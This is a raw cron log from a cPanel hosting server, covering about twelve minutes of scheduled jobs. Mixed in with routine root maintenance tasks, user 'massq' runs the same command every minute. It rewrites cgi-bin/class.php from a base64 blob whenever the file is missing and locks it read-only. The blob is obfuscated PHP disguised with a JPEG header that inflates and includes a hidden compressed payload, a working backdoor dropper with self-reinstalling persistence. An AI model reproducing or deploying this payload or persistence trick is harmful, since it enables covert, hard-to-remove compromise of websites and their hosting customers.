Sep  6 19:35:01 server CROND[6553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:35:01 server CROND[6554]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 19:35:01 server CROND[6556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:35:01 server CROND[6555]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:35:01 server CROND[6558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:35:01 server CROND[6548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:36:01 server CROND[7534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:36:01 server CROND[7535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:36:01 server CROND[7536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:37:01 server CROND[7906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:37:01 server CROND[7907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:37:01 server CROND[7908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:38:01 server CROND[8297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:38:01 server CROND[8296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:38:01 server CROND[8298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:39:02 server CROND[8734]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 19:39:02 server CROND[8733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:39:02 server CROND[8736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:39:02 server CROND[8735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:40:01 server CROND[9136]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:40:02 server CROND[9140]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:40:02 server CROND[9139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:40:02 server CROND[9145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:40:02 server CROND[9144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:40:02 server CROND[9143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:40:02 server CROND[9141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:40:02 server CROND[9142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:41:01 server CROND[10054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:41:01 server CROND[10053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:41:01 server CROND[10055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:42:01 server CROND[10423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:42:01 server CROND[10424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:42:01 server CROND[10425]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:42:01 server CROND[10426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:43:01 server CROND[10801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:43:01 server CROND[10802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:43:01 server CROND[10803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:44:01 server CROND[11170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:44:01 server CROND[11171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:44:01 server CROND[11172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:45:01 server CROND[11558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:45:01 server CROND[11562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:45:01 server CROND[11567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:45:01 server CROND[11569]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:45:01 server CROND[11568]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:45:01 server CROND[11571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:45:01 server CROND[11570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:46:01 server CROND[12497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:46:01 server CROND[12498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:46:01 server CROND[12499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:47:01 server CROND[12939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
